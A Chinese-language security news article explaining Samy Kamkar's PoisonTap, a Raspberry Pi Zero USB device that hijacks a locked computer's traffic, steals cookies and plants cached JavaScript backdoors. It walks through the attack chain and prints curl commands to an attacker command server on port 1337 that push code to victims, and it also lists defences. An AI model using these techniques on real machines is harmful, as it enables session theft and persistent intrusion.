近日,著名硬件黑客Samy Kamkar利用5美元设备打造的黑客工具PoisonTap,只需30秒,就可以攻破设置有任意密码的电脑系统,并实现长期后门安装。PoisonTap不是暴力破解密码,而是绕过密码。
PoisonTap的标配:5美元的树莓派微型电脑Raspberry Pi Zero、USB适配器、内置免费漏洞利用软件。
目前,相关软件和利用工具已在Github提供下载,Raspberry Pi Zero在某宝上也有售卖,感兴趣的童鞋可以尝试打造属于自己的PoisonTap神器。
以下为PoisonTap官方Github介绍的工作机制,感叹Samy Kamkar大神天马行空的思维,同时也深谙自己技艺不精,不足之处,希望大家指正交流。
PoisonTap操作实现:
PoisonTap通吃Windows和Mac系统,一旦插入电脑,将伪装模拟成新加入的以太网连接,即使受害者使用WIFI,一样可以使系统优先接入其伪装的虚假网络。PoisonTap利用中间人攻击方式,可以劫持监听受害者所有网络流量,窃取存储在浏览器里的任意cookie和session,然后发送给控制端。以下为PoisonTap具体操作实现:
通过 USB或Thunderbolt模拟成新加入的以太网连接设备;
劫持目标系统所有网络连接流量(即使是低优先级或未知的网络连接)
窃取存储在浏览器内相关Alexa排名前100万网站cookie和session信息
识别目标网络路由信息,通过远程outbound方式进行WebSocket或DNS重绑定攻击
通过HTTP的JS缓存中毒方式实现长期web后门安装控制,这些缓存后门涉及上千个域名和通用javascript CDN 链接
使用用户cookie对后端域名实现远程HTTP GET或POST方式控制连接
不需要系统解锁
移除攻击载体后,后门保持有效
PoisonTap可以绕过或突破以下安全保护措施:
PoisonTap如何工作:
PoisonTap对系统和网络安全信任机制的攻击,将会产生一系列连锁反应,利用USB/Thunderbolt、DHCP、DNS和HTTP方式,可以进行信息窃取、网络入侵和后门安装。
网络劫持
1 攻击者向有密码保护并且锁屏的电脑系统插入PoisonTap;
2 PoisonTap将会模拟伪装成一个新加入系统的网络连接,默认情况下,即使在有密码保护的锁屏状态下,Windows、OS X 和Linux系统将会识别该虚假网络连接,并发出DHCP请求;
3 PoisonTap响应DHCP请求,并提供一组经过构造,从0.0.0.0至255.255.255.255,与PoisonTap设备为同一子网的随机IP地址组合; 通常,在系统使用现有网络连接的情况下,一个附加网络连接的加入,系统会把其默认为低优先级网络,并继续使用现有网络网关。
但是,在基于”Internet traffic”的 “LANtraffic”情况下,任何路由表/网关优先级/网络接口服务顺序设置都可被绕过。
PoisonTap通过更改原网络连接网关地址,把流量引入自身,进而劫持系统所有网络流量。
Cookie窃取
只要目标系统运行有浏览器,打开网页将会通过AJAX或动态脚本框架(script/iframes)产生各种请求,而由于系统网络流量被完全劫持,
1 PoisonTap将会监听到所有HTTP请求和响应,并将这些内容发送到PoisonTap的web服务端(Node.js);即使DNS服务器指向其它内部IP,由于这些内部DNS服务器将为缓存的域名产生公共IP地址,而这些IP地址已经被PoisonTap劫持,所以攻击仍然有效
3 当Node web服务器接收到请求时,PoisonTap会通过HTML或Javascript进行响应(许多网站会在后台请求中加载HTML或JS)
4 然后,HTML / JS-agnostic页面会生成许多隐藏的iframe,每个iframe中又包括Alexa排名前100万内的不同网站
1当PoisonTap生成上千个iframe之后,将会迫使浏览器加载每个iframe,但这些iframe不仅仅是空白页面,而是无限缓存的HTML + Javascript后门
2 即使用户当前未登录,由于PoisonTap已经在每个缓存域名上强制绑定了这些后门,使攻击者能够使用Cookie并在将来启动同源请求
例如,当加载http://nfl.com/PoisonTapiframe时,PoisonTap接受转向的Internet流量,并通过Node Web服务器响应HTTP请求
添加了其它HTTP头以无限缓存页面
3 实际响应页面是HTML和Javascript的组合,并由此产生持续有效的WebSocket连接攻击者web服务器端(通过互联网而不是PoisonTap设备)
WebSocket保持开放状态,允许攻击者在将来任何时候回连后端机器,并在任何有后门部署的源上执行请求(Alexa排名前100万个网站-见下文)
如果后门在一个站点(如nfl.com)上打开,但用户希望攻击不同的域名(如pinterest.com),攻击者可以将nfl.com上的iframe加载到pinterest.com后门中(http://pinterest.com/PoisonTap)
同样,域上的任何“X-Frame-Options”、跨域资源共享和同源策略安全性完全被绕过,因为实际请求的是PoisonTap留下的缓存,而不是真正的域名
内部路由器后门和远程访问
当使用PoisonTap作为DNS服务器(受害者使用公共DNS服务器)时,PoisonTap使用临时专门的IP(1.0.0.1)进行响应,这意味着此时任何请求都将访问到PoisonTap Web服务器
如果DNS服务器设置为内部网络(如192.168.0.x),1.0.0.1.pin.ip.samy.pl发出一个经过构造的请求,几秒之后,它将会向我的专用DNS服务器(公网的)返回任意[ip.address].ip.samy.pl中的IP地址信息
然后,PoisonTap将会在http://192.168.0.1.ip.samy.pl/PoisonTap上快速设置一个后门,而在PoisonTap设备上将指向1.0.0.1,该后门将实现从PoisonTap设备访问
构造请求与DNS服务器解析的对应关系
[ip.addy].ip.samy.pl normally responds with [ip.addy]
192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
[ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy]
1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)
基于web远程访问的其它后门
1 PoisonTap替代了成千上万常见的,基于CDN的Javascript文件,如Google和jQuery CDNs。如果一个网站或域名加载了受感染中毒的CDN Javascript文件,正确的代码配合后门,就可以让攻击者实现入侵访问
2 由于每个缓存的网站域名都留有后门,即使当前受害者没有对任何域名执行访问,攻击者仍然可以远程强制后端浏览器执行同源请求(AJAX GET / POST)
3 当受害者访问基于HTTP或CDN Javascript缓存中毒的网站时,后门就被触发
PosionTap安全防范
服务器安全
1 仅使用HTTPS,至少对认证和认证内容使用HTTPS
2确保启用Cookie安全标记,防止HTTPS Cookie信息泄露
3 当调用远程Javascript脚本资源时,请使用子资源完整性(SRI)标记属性
4 使用HSTS防止HTTPS降级攻击
桌面客户端安全
1 有必要可以用粘合剂封住USB和Thunderbolt端口
2 每次离开电脑时关闭浏览器
3 禁用USB和Thunderbolt端口
4 经常清理浏览器的缓存数据
5 在不使用电脑时,让电脑进入休眠状态而不是睡眠状态,在休眠状态中,电脑中所有的进程都将停止工作,安全性更高
文件介绍:
backdoor.html:每当一个http://hostname/PoisonTapURL请求发生并窃取 cookie信息时,该文件作为返回的强制缓存内容,它包含一个后门并生成一个外连至samy.pl:1337(主机/端口可更改)的websocket,等待服务器命令。
backend_server.js:这是你在Internet可访问的Node服务器,也是backdoor.html连接的内容(例如,samy.pl:1337)。 该服务器也用来发送命令,如:
# pop alert to victimcurl 'http://samy.pl:1337/exec?alert("muahahahaha")'# to set a cookie on victimcurl 'http://samy.pl:1337/exec?document.cookie="key=value"'# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
pi_poisontap.js:它通过Raspberry Pi Zero上的Node.js运行,为PoisonTap 的HTTP服务端截获请求,存储窃取Cookie并注入缓存后门
pi_startup.sh:在Raspberry Pi Zero上启动时运行,将设备模拟为USB以太网配件,设置恶意DHCP服务器,允许流量重路由,DNS欺骗,并启动pi_poisontap.js文件
target_backdoor.js: 此文件预先放在任何与CDN相关的Javascript文件中,通过Google CDN’s jQuery URL方式形成后门
target_injected_xhtmljs.html:在受害者系统中注入HTTP / AJAX请求并形成整个攻击
poisontap.cookies.log: 记录来自受害者浏览器的cookie
修复措施:
目前来说,PoisonTap因为是多种黑客技巧组合而成的攻击,整个攻击和利用过程不能明确反映某个产品或系统漏洞,所以,目前来说,没有一种明确的修复措施。
但Kamkar提出了一种解决方案,希望在系统层面的网络连接切换中加入权限许可机制,但是苹果公司没有对此作出回应,而微软公司在给记者的回复邮件中表示,PoisonTap是一种物理接入攻击。
所以,最好的防御策略就是自己保管好电脑并及时更新系统和软件。
来源:FreeBuf